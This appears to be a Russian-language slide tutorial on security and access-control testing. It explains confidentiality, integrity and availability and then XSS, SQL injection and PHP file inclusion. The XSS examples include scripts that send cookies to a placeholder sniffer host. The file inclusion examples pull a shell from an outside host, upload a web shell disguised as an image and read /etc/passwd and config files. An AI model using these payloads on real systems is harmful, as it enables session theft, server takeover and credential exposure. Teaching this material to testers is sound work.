Тестирование безопасности или Security and Access Control Testing Принципы безопасности ПО • Конфиденциальность • Целостность • Доступность Конфиденциальность Конфиденциальность - это сокрытие определенных ресурсов или информации. Под конфиденциальностью можно понимать ограничение доступа к ресурсу некоторой категории пользователей, или другими словами, при каких условиях пользователь авторизован получить доступ к данному ресурсу. Целостность Целостность - ожидается, что ресурс будет изменен только соответствующим способом определенной группой пользователей. Является условием того, что данные не были несанкционированно модифицированы при выполнении любой операции над ними, будь то передача, хранение или представление. Доступность Доступность - состояние информации (ресурсов автоматизированной информационной системы), при котором субъекты, имеющие право доступа, могут реализовывать их беспрепятственно. Как правило, чем более критичен ресурс тем выше уровень доступности должен быть. Основные типы уязвимостей Web-приложений • XSS injection • SQL injection • PHP injection XSS injection (Cross Site Scripting) XSS injection - тип уязвимости интерактивных информационных систем в вебе. XSS возникает, когда в генерируемые сервером страницы по какой-то причине попадают пользовательские скрипты. Специфика подобных атак заключается в том, что вместо непосредственной атаки сервера они используют уязвимый сервер в качестве средства атаки на клиента. XSS injection (Cross Site Scripting) Примеры: • <script>alert(‘XSS’)</script> • <IMG SRC="javascript:alert('XSS');"> • <script src="http://oursite/blabla.js"></script> • <script>document.location="SNIFFER"+document.cookie</script> • <script>img=new Image();img.src="SNIFFER"+document.cookie</script> SQL injection SQL–injection - один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода. Внедрение SQL, в зависимости от типа используемой СУБД и условий внедрения, может дать возможность атакующему выполнить произвольный запрос к базе данных, получить возможность чтения и/или записи локальных файлов и т.д. SQL injection Исходная страница: site.com/index.php?id=1 Примеры: • site.com/index.php?id=1 ‘ (Выводит ошибку) • site.com/index.php?id=1 blablabla (Выводит ошибку) • site.com/index.php?id=2-1(Выводит страницу 1) • site.com/index.php?id=1*1(Выводит страницу 1) • site.com/index.php?id=1*2(Выводит страницу 2) • site.com/index.php?id=1+and+1=1(Выводит страницу 1) • site.com/index.php?id=1+and+1=2(Выводит ошибку, или ничего не выводит) PHP injection PHP injection - один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне. Потенциально опасными функциями являются: eval(), preg_replace() (с модификатором «e»), require_once(), include_once(), include(), require(), create_function(). PHP-инъекция становится возможной, если входные параметры принимаются и используются без проверки. PHP injection Удалённый инклуд (Remote File Inclusion) <?php if($_GET['page'].'.php') { include($_GET['page'].'.php'); } else { include($file.'.php'); } ?> • Нет проверки на существование значения $_GET['page'] http://site.ru/index.php?page=http://hack.ru/shell • Переменная $file не была определена раннее http://site.ru/index.php?file=http://hack.ru/shell PHP injection Локальный инклуд (Local File Inclusion) <?php … include("include/$file"); … ?> • Под видом картинки заливаем веб-шелл: http://www.site.com/index.php?include=../forum/images/shell.jpg • Если знаем движок и структуру приложения, можем прочитать конфигурационные файлы: http://www.site.com/index.php?include=../forum/admin/config.php • Либо даже так: http://www.site.com/index.php?include=../../../../etc/passwd Что почитать по теме? • XSS (Cross Site Scripting) Cheat Sheet http://ha.ckers.org/xss.html • Много статей по SQL/PHP/XSS-inj с примерами http://forum.antichat.ru/thread19610.html